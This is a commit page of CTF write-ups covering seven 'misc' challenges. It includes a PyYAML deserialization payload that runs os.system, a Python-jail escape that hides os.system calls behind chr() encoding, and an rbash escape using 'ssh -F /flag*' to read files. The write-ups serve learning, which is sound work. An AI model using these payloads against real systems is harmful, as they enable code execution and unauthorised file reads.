Skip to content

Commit d1090e0

Browse files
committed
docs: Add misc writeups
1 parent a0276bf commit d1090e0

File tree

7 files changed

+356
-0
lines changed

7 files changed

+356
-0
lines changed

misc/hijack.md

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
# Hijack (easy)
2+
This challenge will use python YML deserialization.
3+
4+
When connecting to the remote we can generate a config load a config or exit
5+
6+
When we generate a config we get a base64 string
7+
```
8+
ISFweXRob24vb2JqZWN0Ol9fbWFpbl9fLkNvbmZpZyB7SVJfc3BlY3Ryb21ldGVyX3RlbXA6ICcxMCcsIGF1dG9fY2FsaWJyYXRpb246ICdPTicsCiAgcHJvcHVsc2lvbl90ZW1wOiAnMTAnLCBzb2xhcl9hcnJheV90ZW1wOiAnMTAnLCB1bml0czogRn0K
9+
```
10+
11+
When decoded:
12+
```
13+
!!python/object:__main__.Config {IR_spectrometer_temp: '10', auto_calibration: 'ON',
14+
propulsion_temp: '10', solar_array_temp: '10', units: F}
15+
```
16+
17+
First I noted that this is a python service running on the remote.
18+
After looking for a similar structured string online I found out that this is what YML serialization looked like
19+
20+
Next I had looked at how this can be exploited.
21+
It seems that there are 2 types of load functions:
22+
* `safe_load` - will not deserialize class objects
23+
* `load` - will deserialize class objects
24+
25+
I tried my luck with hoping that it will use unsafe deseralization, and it was
26+
27+
```python
28+
# https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization
29+
# HTB{1s_1t_ju5t_m3_0r_iS_1t_g3tTing_h0t_1n_h3r3?}
30+
import yaml
31+
import base64
32+
from yaml import UnsafeLoader, FullLoader, Loader
33+
import subprocess
34+
import os
35+
36+
class Payload(object):
37+
def __reduce__(self):
38+
return (os.system,('cat flag.txt',))
39+
40+
deserialized_data = yaml.dump(Payload()) # serializing data
41+
print(base64.b64encode(deserialized_data))
42+
```
43+
44+
Before the final version I have submitted some other commands to find out where the flag is on the system.

misc/janken.md

Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
# Janken (easy)
2+
For this challenge we get a binary that will be running on the remote.
3+
4+
First I check the rules of the game, and it seems like a rock, paper, scissors game.
5+
When playing we can type rock, paper, scissors, the opponent will guess as well and we need to win 100 times.
6+
Let's see how the game is implemented in ghidra
7+
8+
```c
9+
for (; rounds < 100; rounds = rounds + 1) {
10+
fprintf(stdout,"\n[*] Round [%d]:\n",rounds);
11+
game();
12+
}
13+
```
14+
15+
In main we see that the `game` function is called 100 times, let's see what the `game` function does.
16+
17+
```c
18+
tVar2 = time((time_t *)0x0);
19+
srand((uint)tVar2);
20+
iVar1 = rand();
21+
local_78[0] = "rock";
22+
local_78[1] = "scissors";
23+
local_78[2] = "paper";
24+
local_38 = 0;
25+
local_30 = 0;
26+
local_28 = 0;
27+
local_20 = 0;
28+
local_58[0] = "paper";
29+
local_58[1] = "rock";
30+
local_58[2] = "scissors";
31+
fwrite(&DAT_00102540,1,0x33,stdout);
32+
read(0,&local_38,0x1f);
33+
fprintf(stdout,"\n[!] Guru\'s choice: %s%s%s\n[!] Your choice: %s%s%s",&DAT_00102083,
34+
local_78[iVar1 % 3],&DAT_00102008,&DAT_0010207b,&local_38,&DAT_00102008);
35+
local_88 = 0;
36+
do {
37+
sVar4 = strlen((char *)&local_38);
38+
if (sVar4 <= local_88) {
39+
LAB_001017a2:
40+
pcVar5 = strstr((char *)&local_38,local_58[iVar1 % 3]);
41+
if (pcVar5 == (char *)0x0) {
42+
fprintf(stdout,"%s\n[-] You lost the game..\n\n",&DAT_00102083);
43+
/* WARNING: Subroutine does not return */
44+
exit(0x16);
45+
}
46+
fprintf(stdout,"\n%s[+] You won this round! Congrats!\n%s",&DAT_0010207b,&DAT_00102008);
47+
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
48+
/* WARNING: Subroutine does not return */
49+
__stack_chk_fail();
50+
}
51+
return;
52+
}
53+
ppuVar3 = __ctype_b_loc();
54+
if (((*ppuVar3)[*(char *)((long)&local_38 + local_88)] & 0x2000) != 0) {
55+
*(undefined *)((long)&local_38 + local_88) = 0;
56+
goto LAB_001017a2;
57+
}
58+
local_88 = local_88 + 1;
59+
} while( true );
60+
```
61+
62+
First our input is read, and the opponent chooses a random move.
63+
`local_78` is the array of moves for the opponent.
64+
At matching indices `local_58` contains the winning moves that we need to make, important to note how a draw counts as a lose for some reason.
65+
66+
But look at what function is used! `strstr` looks for the second argument in the first argument, and returns the index of the first occurrence or NULL if not found.
67+
68+
Now notice how when reading user input 0x1f bytes are read.
69+
70+
We can just send `rockpaperscissors` on each choice and it would surely contain the winning move!
71+
72+
```python
73+
from pwn import *
74+
p = remote('165.227.224.40', 30509)
75+
76+
payload = 'rockpaperscissors'
77+
p.sendlineafter(b'>>', b'1')
78+
79+
for i in range(99):
80+
p.sendlineafter(b'>>', b'rockpaperscissors')
81+
print(f'sent {i}')
82+
p.interactive()
83+
```
84+
85+
For some reason there was an issue with sending this 100 times, so I decreased the count to 99
86+
87+
After this the opponent gives us the flag.

misc/nehebkaus_trap.md

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
# Nehebkaus trap (medium)
2+
For this challenge the remote allows us to send input.
3+
4+
After some trial and error I sent
5+
`print(1)` and I got back 1 as the result. This seems like python evaluates whatever we input
6+
7+
Let's try `print('test')`!
8+
Oh, this contains a blacklisted character :(
9+
10+
But parentheses work! We can construct any string we want by doing `chr(<ascii code>)+...+chr(<ascii code>)`
11+
And luckily the `+` is also allowed.
12+
13+
Now all that is left to do is to encode our payload with the following method to get the flag:
14+
15+
```python
16+
def obf(inp):
17+
ans = []
18+
for c in inp:
19+
ans.append(f'chr({ord(c)})')
20+
return '+'.join(ans)
21+
22+
shell_cmd = 'cat flag.txt'
23+
eval_content = f'__import__("os").system("{shell_cmd}")'
24+
command = f'print(eval({obf(eval_content)}))'
25+
26+
print(command)
27+
```

misc/persistence.md

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
# Persistence (very easy)
2+
This challenge asks us to send around 1000 request to a `/flag` endpoint.
3+
4+
```python
5+
import requests
6+
for i in range(0, 2000):
7+
resp = requests.get('http://165.232.108.36:30519/flag')
8+
if b'HTB' in resp.content: print(resp.content)
9+
```

misc/remote_computation.md

Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
# Remote computation (easy)
2+
In this challenge we will need to perform some computation coming from a remote
3+
4+
First let's read through the **help** menu
5+
6+
```
7+
Results
8+
---
9+
All results are rounded
10+
to 2 digits after the point.
11+
ex. 9.5752 -> 9.58
12+
13+
Error Codes
14+
---
15+
* Divide by 0:
16+
This may be alien technology,
17+
but dividing by zero is still an error!
18+
Expected response: DIV0_ERR
19+
20+
* Syntax Error
21+
Invalid expressions due syntax errors.
22+
ex. 3 +* 4 = ?
23+
Expected response: SYNTAX_ERR
24+
25+
* Memory Error
26+
The remote machine is blazingly fast,
27+
but its architecture cannot represent any result
28+
outside the range -1337.00 <= RESULT <= 1337.00
29+
Expected response: MEM_ERR
30+
```
31+
32+
So now we know something about rounding and the types of errors we should have.
33+
34+
I will shamelessly pass all the input to `eval` in python.
35+
It would have been funny if they sent an RCE :)
36+
37+
The errors are pretty much already covered by python and the calculation logic is obviously implemented.
38+
39+
```python
40+
from pwn import *
41+
p = remote('165.227.224.40', 30418)
42+
43+
p.sendlineafter(b'>', b'1')
44+
45+
for i in range(0, 500):
46+
req = p.recvuntil(b'=')
47+
eq = req.split(b': ')[1][:-2]
48+
print(eq)
49+
ans = None
50+
try:
51+
ans = round(eval(eq), 2)
52+
if ans < -1337.00 or ans > 1337.00: ans = 'MEM_ERR'
53+
else: ans = str(ans)
54+
except ZeroDivisionError:
55+
ans = 'DIV0_ERR'
56+
except SyntaxError:
57+
ans = 'SYNTAX_ERR'
58+
59+
print(f' -- {ans}')
60+
p.sendlineafter(b'>', bytes(ans, 'utf-8'))
61+
p.interactive()
62+
```

misc/restricted.md

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
# Restricted (easy)
2+
In this challenge we will try to bypass a restricted bash shell
3+
4+
From the `Dockerfile` we see that a restricted environment is set up.
5+
* Our user will be the **restricted** user
6+
* As shell we will have `rbash`
7+
* We will have access to 3 executables: `top`, `uptime` and `ssh`
8+
* Our path is restricted to the `.bin` folder in our home directory
9+
10+
Reading the ssh configuration I found the following line:
11+
```
12+
Match user restricted
13+
PermitEmptyPasswords yes
14+
```
15+
16+
Okay so we can log in using the **restricted** user through ssh.
17+
18+
Once on the system it seems that we can't do anything.
19+
This is a good time to go to [GTFO bins](https://gtfobins.github.io/) to see if there is any way to escape our restricted environment.
20+
21+
`top` and `uptime` don't seem helpful, however `ssh` seems promising.
22+
23+
I went to the file read section, which suggested a way to read files outside of the restricted environment.
24+
25+
From the docker file we already know the flag is in `/flag<random>`, so we use the following command on the remote:
26+
27+
```
28+
ssh -F /flag* localhost -p 1337
29+
```
30+
31+
This will read us the flag :)

misc/the_chasms_crossing_conondrum.md

Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
# The chasm's crossing conundrum (hard)
2+
First I get the instructions of the game
3+
4+
```
5+
☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠
6+
☠ ☠️
7+
☠ [*] The path ahead is treacherous. ☠️
8+
☠ [*] You have to find a viable strategy to get everyone across safely. ☠️
9+
☠ [*] The bridge can hold a maximum of two persons. ☠️
10+
☠ [*] The chasm lurks on either side of the bridge waiting for those ☠️
11+
☠ who think they can get across in total darkness. ☠️
12+
☠ [*] If two persons get across, one must come back with the flashlight. ☠️
13+
☠ [*] The flashlight has energy only for a limited amount of time. ☠️
14+
☠ [*] The time required for two persons to cross, is dictated by the slower. ☠️
15+
☠ [*] The answer must be given in crossing and returning pairs. For example, ☠️
16+
☠ [1,2],[2],... . This means that persons 1 and 2 cross and 2 gets back ☠️
17+
☠ with the flashlight so others can cross. ☠️
18+
☠ ☠️
19+
☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠
20+
```
21+
22+
Basically:
23+
* cross a bridge
24+
* only one flashlight is available which is limited
25+
* flashlight is required to cross
26+
* at most 2 people can cross
27+
* each person has a different time to cross
28+
* the crossing speed is that of the slowest person on the bridge
29+
30+
First I have thought that a greedy solution would be good for this challenge.
31+
This would mean that I find the fastest person and then always send from one side the fastest person and someone, and then only the fastest person on the way back.
32+
33+
After trying and failing a couple of times I started to question whether this was truly the best approach.
34+
35+
I had a slight intuition that we could send the 2 slowest people across, because that would essentially delete the time penalty of the second slowest person, whereas with my approach we always take the time penalty of every person.
36+
37+
The basic 4 person version of this problem is quite popular as internet browsing suggests.
38+
39+
1. Send 2 fastest
40+
2. Send fastest back
41+
3. Send 2 slowest
42+
4. Send 2nd fastest back
43+
5. Make 2 fastest cross together
44+
6. win
45+
46+
However extending this to multiple people, or having an algorithm to give the ordering of people and not just the shortest time was not so popular anymore.
47+
48+
Still I have tried going with this approach and hard coding sending some fastest and slowest pairs.
49+
50+
In the end my algorithm doesn't always produce the perfect solution, however for some instance of the problem it does, and that resulted in the flag.
51+
52+
```python
53+
# algorithm incorrect, but works some of the time
54+
# greedy not a good solution
55+
# known solution is DP but without who crosses when, only the min cross time
56+
# solution wants optimal cross time
57+
ppl = {
58+
1: 66,
59+
2: 43,
60+
3: 33,
61+
4: 1,
62+
5: 62,
63+
6: 17,
64+
7: 68,
65+
8: 40,
66+
}
67+
68+
battery = 232
69+
70+
ppl_sorted = {k: v for k, v in sorted(ppl.items(), key=lambda item: item[1])}
71+
print(ppl_sorted)
72+
ppl_sorted = list(ppl_sorted.items())
73+
74+
ans = []
75+
ans.append(f'[{ppl_sorted[0][0]},{ppl_sorted[1][0]}]')
76+
ans.append(f'[{ppl_sorted[0][0]}]')
77+
ans.append(f'[{ppl_sorted[-1][0]},{ppl_sorted[-2][0]}]')
78+
ans.append(f'[{ppl_sorted[1][0]}]')
79+
ans.append(f'[{ppl_sorted[0][0]},{ppl_sorted[1][0]}]')
80+
ans.append(f'[{ppl_sorted[0][0]}]')
81+
ans.append(f'[{ppl_sorted[-3][0]},{ppl_sorted[-4][0]}]')
82+
ans.append(f'[{ppl_sorted[1][0]}]')
83+
84+
cost = (ppl_sorted[1][1] * 2 + ppl_sorted[0][1]) * 2 + ppl_sorted[-1][1] + ppl_sorted[-3][1]
85+
for i in range(1, len(ppl)-4):
86+
ans.append(f'[{ppl_sorted[0][0]},{ppl_sorted[i][0]}]')
87+
cost += ppl_sorted[i][1]
88+
if i != len(ppl) - 5:
89+
ans.append(f'[{ppl_sorted[0][0]}]')
90+
cost += ppl_sorted[0][1]
91+
92+
print(','.join(ans))
93+
print(cost)
94+
```
95+
96+
I print the `cost` which is the time spent so that I can immediately see if a solution will be accepted by the remote. I never made a script that does this automatically instead I just copied the input values by hand.

0 commit comments

Comments
 (0)